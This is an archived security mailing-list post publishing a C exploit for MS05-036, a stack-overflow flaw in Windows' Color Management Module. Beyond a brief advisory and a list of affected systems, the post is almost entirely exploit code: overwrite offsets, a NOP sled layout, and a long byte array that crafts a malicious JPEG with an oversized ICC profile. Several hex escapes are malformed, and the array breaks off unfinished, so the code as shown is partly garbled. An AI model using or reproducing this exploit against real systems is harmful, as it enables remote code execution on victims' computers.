

[EXPL] Microsoft Color Management Module Code Execution (MS05-036) – Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00064.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 19 Feb 2006 19:09:37 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Microsoft Color Management Module Code Execution (MS05-036) – Exploit

SUMMARY

The Microsoft Color Management Module allows the operating system to provide consistent color mappings between different devices and applications. In addition, this module is used to transform colors from one color space to another (for example, RGB to CMYK). For additional information about color management, visit the following Web site.

The International Color Consortium is an organization whose purpose is to provide a standard by which vendors can implement color management to ensure cross vendor compatibility. For additional information about the International Color Consortium (ICC), visit the following Web site

A remote code execution exists in the Microsoft Color Management Module because of the way that it handles ICC profile format tag validation.

DETAILS

Vulnerable Systems:

- * Microsoft Windows 2000 Service Pack 4
- * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2

[EXPL] Microsoft Color Management Module Code Execution (MS05-036) – Exploit

- * Microsoft Windows XP Professional x64 Edition
- * Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1
- * Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
- * Microsoft Windows Server 2003 x64 Edition
- * Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (ME)

Exploit:

```
/*
\ MS05-036 ICC Stack Overflow Exploit
/ by Darkeagle
\
/ GreetZ: all unl0ckerz, ed, f0st, uf0, sowhat, str0ke, #black, redsand
\
/
\ special tnx to snooq for his PoC.
/
\
/ xploit was tested on WinXP SP1 RUS with explorer.exe
\
/ 02.08.05
\
/ http://eagle.blacksecurity.org
\
*/
```

```
#include <string.h>
#include <stdio.h>
#include <windows.h>
```

```
#define TARGET 1
#define NOP 0x90
#define FNAME "eag13.jpg"
#define BSIZE sizeof(buff)-1
#define EIP_OFFSET 0x3A0
#define SC_OFFSET 0x246
#define NOP_OFFSET 0x218
#define NOP_SIZE 0x112
```

```
#define tag_content_offset 0x23E // file buffer offset craft stuff
#define content_size_offset 0xE2 // tag content buffer size
#define no_access_violate 0x32E // avoid access violate
#define no_access_violate2 0x32E+12 // avoid access violate
#define stack_land_offset ret_addr_offset+16 // return address offset
#define ret_addr_offset no_access_violate+8 // return address offset
```

```
/*
* Silly JPEG stuffed with ICC profile.....
*/
```

```
char buff[]=  
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x00\x01\x00\x60"  
"\x00\x60\x00\x00\xFF\xE2\x0C\x58\x49\x43\x43\x5F\x50\x52\x4F\x46"  
"\x49\x4C\x45\x00\x01\x01\x00\x00\x0C\x48\x4C\x69\x6E\x6F\x02\x10"  
"\x00\x00\x6D\x6E\x74\x72\x52\x47\x42\x20\x58\x59\x5A\x20\x07\xCE"  
"\x00\x02\x00\x09\x00\x06\x00\x31\x00\x00\x61\x63\x73\x70\x4D\x53"  
"\x46\x54\x00\x00\x00\x00\x49\x45\x43\x20\x73\x52\x47\x42\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\xD3\x2D\x48\x50\x20\x20\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x11\x63\x70\x72\x74\x00\x00"  
"\x01\x50\x00\x00\x00\x33\x64\x65\x73\x63\x00\x00\x01\x84\x00\x00"  
"\x00\x6C\x77\x74\x70\x74\x00\x00\x01\xF0\x00\x00\x00\x14\x62\x6B"  
"\x70\x74\x00\x00\x02\x04\x00\x00\x00\x14\x72\x58\x59\x5A\x00\x00"  
"\x02\x18\x00\x00\x00\xFC\x67\x58\x59\x5A\x00\x00\x02\x2C\x00\x00"  
"\x00\x14\x62\x58\x59\x5A\x00\x00\x02\x40\x00\x00\x00\x14\x64\x6D"  
"\x6E\x64\x00\x00\x02\x54\x00\x00\x00\x70\x64\x6D\x64\x64\x00\x00"  
"\x02\xC4\x00\x00\x00\x88\x76\x75\x65\x64\x00\x00\x03\x4C\x00\x00"  
"\x00\x86\x76\x69\x65\x77\x00\x00\x03\xD4\x00\x00\x00\x24\x6C\x75"  
"\x6D\x69\x00\x00\x03\xF8\x00\x00\x00\x14\x6D\x65\x61\x73\x00\x00"  
"\x04\x0C\x00\x00\x00\x24\x74\x65\x63\x68\x00\x00\x04\x30\x00\x00"  
"\x00\x0C\x72\x54\x52\x43\x00\x00\x04\x3C\x00\x00\x08\x0C\x67\x54"  
"\x52\x43\x00\x00\x04\x3C\x00\x00\x08\x0C\x62\x54\x52\x43\x00\x00"  
"\x04\x3C\x00\x00\x08\x0C\x74\x65\x78\x74\x00\x00\x00\x00\x43\x6F"  
"\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29\x20\x31\x39\x39\x38"  
"\x20\x48\x65\x77\x6C\x65\x74\x74\x2D\x50\x61\x63\x6B\x61\x72\x64"  
"\x20\x43\x6F\x6D\x70\x61\x6E\x79\x00\x00\x64\x65\x73\x63\x00\x00"  
"\x00\x00\x00\x00\x00\x12\x73\x52\x47\x42\x20\x49\x45\x43\x36\x31"  
"\x39\x36\x36\x2D\x32\x2E\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x12\x73\x52\x47\x42\x20\x49\x45\x43\x36\x31\x39\x36\x36"  
"\x2D\x32\x2E\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x58\x59\x5A\x20\x00\x00\x00\x00\x00\x00"  
"\xF3\x51\x00\x01\x00\x00\x00\x01\x16\xCC\x58\x59\x5A\x20\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x59"  
"\x5A\x20\x00\x00\x00\x00\x00\x00\x6F\xA2\x00\x00\x38\xF5\x00\x00"  
"\x03\x90\x58\x59\x5A\x20\x00\x00\x00\x00\x00\x00\x62\x99\x00\x00"  
"\xB7\x85\x00\x00\x18\xDA\x58\x59\x5A\x20\x00\x00\x00\x00\x00\x00"  
"\x24\xA0\x00\x00\x0F\x84\x00\x00\xB6\xCF\x64\x65\x73\x63\x00\x00"  
"\x00\x00\x00\x00\x00\x16\x49\x45\x43\x20\x68\x74\x74\x70\x3A\x2F"  
"\x2F\x77\x77\x77\x2E\x69\x65\x63\x2E\x63\x68\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x16\x49\x45\x43\x20\x68\x74\x74\x70\x3A"  
"\x2F\x2F\x77\x77\x77\x2E\x69\x65\x63\x2E\x63\x68\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x64\x65\x73\x63\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x2E\x49\x45\x43\x20\x36\x31\x39\x36\x36\x2D"  
"\x32\x2E\x31\x20\x44\x65\x66\x61\x75\x6C\x74\x20\x52\x47\x42\x20"
```

```
"\x63\x6F\x6C\x6F\x75\x72\x20\x73\x70\x61\x63\x65\x20\x2D\x20\x73"  
"\x52\x47\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x04\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x65\x66"  
"\x61\x75\x6C\x74\x20\x52\x47\x42\x20\x63\x6F\x6C\x6F\x75\x72\x20"  
"\x73\x70\x61\x63\x65\x20\x2D\x20\x73\x52\x47\x42\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x64\x65\x73\x63\x00\x00\x00\x00\x00\x00\x00\x2C\x52\x65"  
"\x66\x65\x72\x65\x6E\x63\x65\x20\x56\x69\x65\x77\x69\x6E\x67\x20"  
"\x43\x6F\x6E\x64\x69\x74\x69\x6F\x6E\x20\x69\x6E\x20\x49\x45\x43"  
"\x36\x31\x39\x36\x36\x2D\x32\x2E\x31\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x2C\x52\x65\x66\x65\x72\x65\x6E\x63\x65\x20\x56"  
"\x69\x65\x77\x69\x6E\x67\x20\x43\x6F\x6E\x64\x69\x74\x69\x6F\x6E"  
"\x20\x69\x6E\x20\x49\x45\x43\x36\x31\x39\x36\x36\x2D\x32\x2E\x31"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x76\x69\x65\x77\x00\x00"  
"\x00\x00\x00\x13\xA4\xFE\x00\x14\x5F\x2E\x00\x10\xCF\x14\x00\x03"  
"\xED\xCC\x00\x04\x13\x0B\x00\x03\x5C\x9E\x00\x00\x00\x01\x58\x59"  
"\x5A\x20\x00\x00\x00\x00\x4C\x09\x56\x00\x50\x00\x00\x00\x57"  
"\x1F\xE7\x6D\x65\x61\x73\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x02\x8F\x00\x00\x00\x02\x73\x69\x67\x20\x00\x00\x00\x00\x43\x52"  
"\x54\x20\x63\x75\x72\x76\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00"  
"\x00\x05\x00\x0A\x00\x0F\x00\x14\x00\x19\x00\x1E\x00\x23\x00\x28"  
"\x00\x2D\x00\x32\x00\x37\x00\x3B\x00\x40\x00\x45\x00\x4A\x00\x4F"  
"\x00\x54\x00\x59\x00\x5E\x00\x63\x00\x68\x00\x6D\x00\x72\x00\x77"  
"\x00\x7C\x00\x81\x00\x86\x00\x8B\x00\x90\x00\x95\x00\x9A\x00\x9F"  
"\x00xA4\x00xA9\x00xAE\x00xB2\x00xB7\x00xBC\x00xC1\x00xC6"  
"\x00xCB\x00xD0\x00xD5\x00xDB\x00xE0\x00xE5\x00xEB\x00\xF0"  
"\x00xF6\x00\FB\x01\x01\x01\x07\x01\x0D\x01\x13\x01\x19\x01\x1F"  
"\x01\x25\x01\x2B\x01\x32\x01\x38\x01\x3E\x01\x45\x01\x4C\x01\x52"  
"\x01\x59\x01\x60\x01\x67\x01\x6E\x01\x75\x01\x7C\x01\x83\x01\x8B"  
"\x01\x92\x01\x9A\x01xA1\x01xA9\x01xB1\x01\xB9\x01xC1\x01xC9"  
"\x01xD1\x01xD9\x01xE1\x01xE9\x01xF2\x01\xFA\x02\x03\x02\x0C"  
"\x02\x14\x02\x1D\x02\x26\x02\x2F\x02\x38\x02\x41\x02\x4B\x02\x54"  
"\x02\x5D\x02\x67\x02\x71\x02\x7A\x02\x84\x02\x8E\x02\x98\x02xA2"  
"\x02\xAC\x02\xB6\x02\xC1\x02\xCB\x02\xD5\x02\xE0\x02\xEB\x02\xF5"  
"\x03\x00\x03\x0B\x03\x16\x03\x21\x03\x2D\x03\x38\x03\x43\x03\x4F"  
"\x03\x5A\x03\x66\x03\x72\x03\x7E\x03\x8A\x03\x96\x03\xA2\x03\xAE"  
"\x03\xBA\x03\xC7\x03\xD3\x03\xE0\x03\xEC\x03\xF9\x04\x06\x04\x13"  
"\x04\x20\x04\x2D\x04\x3B\x04\x48\x04\x55\x04\x63\x04\x71\x04\x7E"  
"\x04\x8C\x04\x9A\x04xA8\x04\xB6\x04\xC4\x04\xD3\x04xE1\x04\xF0"  
"\x04\xFE\x05\x0D\x05\x1C\x05\x2B\x05\x3A\x05\x49\x05\x58\x05\x67"  
"\x05\x77\x05\x86\x05\x96\x05xA6\x05xB5\x05xC5\x05xD5\x05xE5"  
"\x05\xF6\x06\x06\x06\x16\x06\x27\x06\x37\x06\x48\x06\x59\x06\x6A"  
"\x06\x7B\x06\x8C\x06\x9D\x06\xAF\x06\xC0\x06xD1\x06xE3\x06\xF5"  
"\x07\x07\x07\x19\x07\x2B\x07\x3D\x07\x4F\x07\x61\x07\x74\x07\x86"  
"\x07\x99\x07\xAC\x07\xBF\x07\xD2\x07xE5\x07xF8\x08\x0B\x08\x1F"  
"\x08\x32\x08\x46\x08\x5A\x08\x6E\x08\x82\x08\x96\x08\xAA\x08\xBE"  
"\x08\xD2\x08\xE7\x08\xFB\x09\x10\x09\x25\x09\x3A\x09\x4F\x09\x64"  
"\x09\x79\x09\x8F\x09xA4\x09\xBA\x09\xCF\x09xE5\x09\xFB\x0A\x11"  
"\x0A\x27\x0A\x3D\x0A\x54\x0A\x6A\x0A\x81\x0A\x98\x0A\xAE\x0A\xC5"
```

"\x0A\xDC\x0A\xF3\x0B\x0B\x0B\x22\x0B\x39\x0B\x51\x0B\x69\x0B\x80"
"\x0B\x98\x0B\xB0\x0B\xC8\x0B\xE1\x0B\xF9\x0C\x12\x0C\x2A\x0C\x43"
"\x0C\x5C\x0C\x75\x0C\x8E\x0C\xA7\x0C\xC0\x0C\xD9\x0C\xF3\x0D\x0D"
"\x0D\x26\x0D\x40\x0D\x5A\x0D\x74\x0D\x8E\x0D\xA9\x0D\xC3\x0D\xDE"
"\x0D\xF8\x0E\x13\x0E\x2E\x0E\x49\x0E\x64\x0E\x7F\x0E\x9B\x0E\xB6"
"\x0E\xD2\x0E\xEE\x0F\x09\x0F\x25\x0F\x41\x0F\x5E\x0F\x7A\x0F\x96"
"\x0F\xB3\x0F\xCF\x0F\xEC\x10\x09\x10\x26\x10\x43\x10\x61\x10\x7E"
"\x10\x9B\x10\xB9\x10\xD7\x10\xF5\x11\x13\x11\x31\x11\x4F\x11\x6D"
"\x11\x8C\x11\xAA\x11\xC9\x11\xE8\x12\x07\x12\x26\x12\x45\x12\x64"
"\x12\x84\x12\xA3\x12\xC3\x12\xE3\x13\x03\x13\x23\x13\x43\x13\x63"
"\x13\x83\x13\xA4\x13\xC5\x13\xE5\x14\x06\x14\x27\x14\x49\x14\x6A"
"\x14\x8B\x14\xAD\x14\xCE\x14\xF0\x15\x12\x15\x34\x15\x56\x15\x78"
"\x15\x9B\x15\xBD\x15\xE0\x16\x03\x16\x26\x16\x49\x16\x6C\x16\x8F"
"\x16\xB2\x16\xD6\x16\xFA\x17\x1D\x17\x41\x17\x65\x17\x89\x17\xAE"
"\x17\xD2\x17\xF7\x18\x1B\x18\x40\x18\x65\x18\x8A\x18\xAF\x18\xD5"
"\x18\xFA\x19\x20\x19\x45\x19\x6B\x19\x91\x19\xB7\x19\xDD\x1A\x04"
"\x1A\x2A\x1A\x51\x1A\x77\x1A\x9E\x1A\xC5\x1A\xEC\x1B\x14\x1B\x3B"
"\x1B\x63\x1B\x8A\x1B\xB2\x1B\xDA\x1C\x02\x1C\x2A\x1C\x52\x1C\x7B"
"\x1C\xA3\x1C\xCC\x1C\xF5\x1D\x1E\x1D\x47\x1D\x70\x1D\x99\x1D\xC3"
"\x1D\xEC\x1E\x16\x1E\x40\x1E\x6A\x1E\x94\x1E\xBE\x1E\xE9\x1F\x13"
"\x1F\x3E\x1F\x69\x1F\x94\x1F\xBF\x1F\xEA\x20\x15\x20\x41\x20\x6C"
"\x20\x98\x20\xC4\x20\xF0\x21\x1C\x21\x48\x21\x75\x21\xA1\x21\xCE"
"\x21\xFB\x22\x27\x22\x55\x22\x82\x22\xAF\x22\xDD\x23\x0A\x23\x38"
"\x23\x66\x23\x94\x23\xC2\x23\xF0\x24\x1F\x24\x4D\x24\x7C\x24\xAB"
"\x24\xDA\x25\x09\x25\x38\x25\x68\x25\x97\x25\xC7\x25\xF7\x26\x27"
"\x26\x57\x26\x87\x26\xB7\x26\xE8\x27\x18\x27\x49\x27\x7A\x27\xAB"
"\x27\xDC\x28\x0D\x28\x3F\x28\x71\x28\xA2\x28\xD4\x29\x06\x29\x38"
"\x29\x6B\x29\x9D\x29\xD0\x2A\x02\x2A\x35\x2A\x68\x2A\x9B\x2A\xCF"
"\x2B\x02\x2B\x36\x2B\x69\x2B\x9D\x2B\xD1\x2C\x05\x2C\x39\x2C\x6E"
"\x2C\xA2\x2C\xD7\x2D\x0C\x2D\x41\x2D\x76\x2D\xAB\x2D\xE1\x2E\x16"
"\x2E\x4C\x2E\x82\x2E\xB7\x2E\xEE\x2F\x24\x2F\x5A\x2F\x91\x2F\xC7"
"\x2F\xFE\x30\x35\x30\x6C\x30\xA4\x30\xDB\x31\x12\x31\x4A\x31\x82"
"\x31\xBA\x31\xF2\x32\x2A\x32\x63\x32\x9B\x32\xD4\x33\x0D\x33\x46"
"\x33\x7F\x33\xB8\x33\xF1\x34\x2B\x34\x65\x34\x9E\x34\xD8\x35\x13"
"\x35\x4D\x35\x87\x35\xC2\x35\xFD\x36\x37\x36\x72\x36\xAE\x36\xE9"
"\x37\x24\x37\x60\x37\x9C\x37\xD7\x38\x14\x38\x50\x38\x8C\x38\xC8"
"\x39\x05\x39\x42\x39\x7F\x39\xBC\x39\xF9\x3A\x36\x3A\x74\x3A\xB2"
"\x3A\xEF\x3B\x2D\x3B\x6B\x3B\xAA\x3B\xE8\x3C\x27\x3C\x65\x3C\xA4"
"\x3C\xE3\x3D\x22\x3D\x61\x3D\xA1\x3D\xE0\x3E\x20\x3E\x60\x3E\xA0"
"\x3E\xE0\x3F\x21\x3F\x61\x3F\xA2\x3F\xE2\x40\x23\x40\x64\x40\xA6"
"\x40\xE7\x41\x29\x41\x6A\x41\xAC\x41\xEE\x42\x30\x42\x72\x42\xB5"
"\x42\xF7\x43\x3A\x43\x7D\x43\xC0\x44\x03\x44\x47\x44\x8A\x44\xCE"
"\x45\x12\x45\x55\x45\x9A\x45\xDE\x46\x22\x46\x67\x46\xAB\x46\xF0"
"\x47\x35\x47\x7B\x47\xC0\x48\x05\x48\x4B\x48\x91\x48\xD7\x49\x1D"
"\x49\x63\x49\xA9\x49\xF0\x4A\x37\x4A\x7D\x4A\xC4\x4B\x0C\x4B\x53"
"\x4B\x9A\x4B\xE2\x4C\x2A\x4C\x72\x4C\xBA\x4D\x02\x4D\x4A\x4D\x93"
"\x4D\xDC\x4E\x25\x4E\x6E\x4E\xB7\x4F\x00\x4F\x49\x4F\x93\x4F\xDD"
"\x50\x27\x50\x71\x50\xBB\x51\x06\x51\x50\x51\x9B\x51\xE6\x52\x31"
"\x52\x7C\x52\xC7\x53\x13\x53\x5F\x53\xAA\x53\xF6\x54\x42\x54\x8F"
"\x54\xDB\x55\x28\x55\x75\x55\xC2\x56\x0F\x56\x5C\x56\xA9\x56\xF7"
"\x57\x44\x57\x92\x57\xE0\x58\x2F\x58\x7D\x58\xCB\x59\x1A\x59\x69"

"\x59\xB8\x5A\x07\x5A\x56\x5A\xA6\x5A\xF5\x5B\x45\x5B\x95\x5B\xE5"
"\x5C\x35\x5C\x86\x5C\xD6\x5D\x27\x5D\x78\x5D\xC9\x5E\x1A\x5E\x6C"
"\x5E\xBD\x5F\x0F\x5F\x61\x5F\xB3\x60\x05\x60\x57\x60\xAA\x60\xFC"
"\x61\x4F\x61\xA2\x61\xF5\x62\x49\x62\x9C\x62\xF0\x63\x43\x63\x97"
"\x63\xEB\x64\x40\x64\x94\x64\xE9\x65\x3D\x65\x92\x65\xE7\x66\x3D"
"\x66\x92\x66\xE8\x67\x3D\x67\x93\x67\xE9\x68\x3F\x68\x96\x68\xEC"
"\x69\x43\x69\x9A\x69\xF1\x6A\x48\x6A\x9F\x6A\xF7\x6B\x4F\x6B\xA7"
"\x6B\xFF\x6C\x57\x6C\xAF\x6D\x08\x6D\x60\x6D\xB9\x6E\x12\x6E\x6B"
"\x6E\xC4\x6F\x1E\x6F\x78\x6F\xD1\x70\x2B\x70\x86\x70\xE0\x71\x3A"
"\x71\x95\x71\xF0\x72\x4B\x72\xA6\x73\x01\x73\x5D\x73\xB8\x74\x14"
"\x74\x70\x74\xCC\x75\x28\x75\x85\x75\xE1\x76\x3E\x76\x9B\x76\xF8"
"\x77\x56\x77\xB3\x78\x11\x78\x6E\x78\xCC\x79\x2A\x79\x89\x79\xE7"
"\x7A\x46\x7A\xA5\x7B\x04\x7B\x63\x7B\xC2\x7C\x21\x7C\x81\x7C\xE1"
"\x7D\x41\x7D\xA1\x7E\x01\x7E\x62\x7E\xC2\x7F\x23\x7F\x84\x7F\xE5"
"\x80\x47\x80\xA8\x81\x0A\x81\x6B\x81\xCD\x82\x30\x82\x92\x82\xF4"
"\x83\x57\x83\xBA\x84\x1D\x84\x80\x84\xE3\x85\x47\x85\xAB\x86\x0E"
"\x86\x72\x86\xD7\x87\x3B\x87\x9F\x88\x04\x88\x69\x88\xCE\x89\x33"
"\x89\x99\x89\xFE\x8A\x64\x8A\xCA\x8B\x30\x8B\x96\x8B\xFC\x8C\x63"
"\x8C\xCA\x8D\x31\x8D\x98\x8D\xFF\x8E\x66\x8E\xCE\x8F\x36\x8F\x9E"
"\x90\x06\x90\x6E\x90\xD6\x91\x3F\x91\xA8\x92\x11\x92\x7A\x92\xE3"
"\x93\x4D\x93\xB6\x94\x20\x94\x8A\x94\xF4\x95\x5F\x95\xC9\x96\x34"
"\x96\x9F\x97\x0A\x97\x75\x97\xE0\x98\x4C\x98\xB8\x99\x24\x99\x90"
"\x99\xFC\x9A\x68\x9A\xD5\x9B\x42\x9B\xAF\x9C\x1C\x9C\x89\x9C\xF7"
"\x9D\x64\x9D\xD2\x9E\x40\x9E\xAE\x9F\x1D\x9F\x8B\x9F\xFA\xA0\x69"
"\xA0\xD8\xA1\x47\xA1\xB6\xA2\x26\xA2\x96\xA3\x06\xA3\x76\xA3\xE6"
"\xA4\x56\xA4\xC7\xA5\x38\xA5\xA9\xA6\x1A\xA6\x8B\xA6\xFD\xA7\x6E"
"\xA7\xE0\xA8\x52\xA8\xC4\xA9\x37\xA9\xA9\xAA\x1C\xAA\x8F\xAB\x02"
"\xAB\x75\xAB\xE9\xAC\x5C\xAC\xD0\xAD\x44\xAD\xB8\xAE\x2D\xAE\xA1"
"\xAF\x16\xAF\x8B\xB0\x00\xB0\x75\xB0\xEA\xB1\x60\xB1\xD6\xB2\x4B"
"\xB2\xC2\xB3\x38\xB3\xAE\xB4\x25\xB4\x9C\xB5\x13\xB5\x8A\xB6\x01"
"\xB6\x79\xB6\xF0\xB7\x68\xB7\xE0\xB8\x59\xB8\xD1\xB9\x4A\xB9\xC2"
"\xBA\x3B\xBA\xB5\xBB\x2E\xBB\xA7\xBC\x21\xBC\x9B\xBD\x15\xBD\x8F"
"\xBE\x0A\xBE\x84\xBE\xFF\xBF\x7A\xBF\xF5\xC0\x70\xC0\xEC\xC1\x67"
"\xC1\xE3\xC2\x5F\xC2\xDB\xC3\x58\xC3\xD4\xC4\x51\xC4\xCE\xC5\x4B"
"\xC5\xC8\xC6\x46\xC6\xC3\xC7\x41\xC7\xBF\xC8\x3D\xC8\xBC\xC9\x3A"
"\xC9\xB9\xCA\x38\xCA\xB7\xCB\x36\xCB\xB6\xCC\x35\xCC\xB5\xCD\x35"
"\xCD\xB5\xCE\x36\xCE\xB6\xCF\x37\xCF\xB8\xD0\x39\xD0\xBA\xD1\x3C"
"\xD1\xBE\xD2\x3F\xD2\xC1\xD3\x44\xD3\xC6\xD4\x49\xD4\xCB\xD5\x4E"
"\xD5\xD1\xD6\x55\xD6\xD8\xD7\x5C\xD7\xE0\xD8\x64\xD8\xE8\xD9\x6C"
"\xD9\xF1\xDA\x76\xDA\xFB\xDB\x80\xDC\x05\xDC\x8A\xDD\x10\xDD\x96"
"\xDE\x1C\xDE\xA2\xDF\x29\xDF\xAF\xE0\x36\xE0\xBD\xE1\x44\xE1\xCC"
"\xE2\x53\xE2\xDB\xE3\x63\xE3\xEB\xE4\x73\xE4\xFC\xE5\x84\xE6\x0D"
"\xE6\x96\xE7\x1F\xE7\xA9\xE8\x32\xE8\xBC\xE9\x46\xE9\xD0\xEA\x5B"
"\xEA\xE5\xEB\x70\xEB\xFB\xEC\x86\xED\x11\xED\x9C\xEE\x28\xEE\xB4"
"\xEF\x40\xEF\xCC\xF0\x58\xF0\xE5\xF1\x72\xF1\xFF\xF2\x8C\xF3\x19"
"\xF3\xA7\xF4\x34\xF4\xC2\xF5\x50\xF5\xDE\xF6\x6D\xF6\xFB\xF7\x8A"
"\xF8\x19\xF8\xA8\xF9\x38\xF9\xC7\xFA\x57\xFA\xE7\xFB\x77\xFC\x07"
"\xFC\x98\xFD\x29\xFD\xBA\xFE\x4B\xFE\xDC\xFF\x6D\xFF\xFF\xFF\xFE"
"\x00\x1F\x4C\x45\x41\x44\x20\x54\x65\x63\x68\x6E\x6F\x6C\x6F\x67"
"\x69\x65\x73\x20\x49\x6E\x63\x2E\x20\x56\x31\x2E\x30\x31\x00\xFF"
"\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x03\x03"

[EXPL] Microsoft Color Management Module Code Execution (MS05-036) – Exploit

```
"\x02\x03\x04\x07\x04\x04\x03\x03\x04\x08\x06\x06\x05\x07\x0A\x09"  
"\x0A\x0A\x0A\x09\x0A\x09\x0B\x0C\x10\x0E\x0B\x0C\x0F\x0C\x09\x0A"  
"\x0E\x13\x0E\x0F\x11\x11\x12\x12\x12\x0B\x0D\x14\x15\x14\x12\x15"  
"\x10\x12\x12\x11\x01\x03\x03\x03\x04\x03\x04\x08\x04\x04\x08\x11"  
"\x0B\x0A\x0B\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"  
"\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"  
"\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"  
"\x11\x11\x11\x11\x11\xFF\xC4\x01\xA2\x00\x00\x01\x05\x01\x01\x01"  
"\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05"  
"\x06\x07\x08\x09\x0A\x0B\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01"  
"\x01\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08"  
"\x09\x0A\x0B\x10\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04"  
"\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05\x12\x21\x31\x41\x06"  
"\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08\x23\x42\xB1\xC1"  
"\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17\x18\x19\x1A"  
"\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43\x44\x45"  
"\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65"  
"\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85"  
"\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3"  
"\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA"  
"\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8"  
"\xD9\xDA\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4"  
"\xF5\xF6\xF7\xF8\xF9\xFA\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07"  
"\x05\x04\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31"  
"\x06\x12\x41\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1"  
"\xB1\xC1\x09\x23\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1"  
"\x25\xF1\x17\x18\x19\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39"  
"\x3A\x43\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59"  
"\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79"  
"\x7A\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97"  
"\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5"  
"\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3"  
"\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA"  
"\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xC0\x00\x11\x08\x01\x20"  
"\x01\xE0\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xFF\xDA\x00\x0C"  
"\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xFD\xFC\xA0\x02\x80\x0A"  
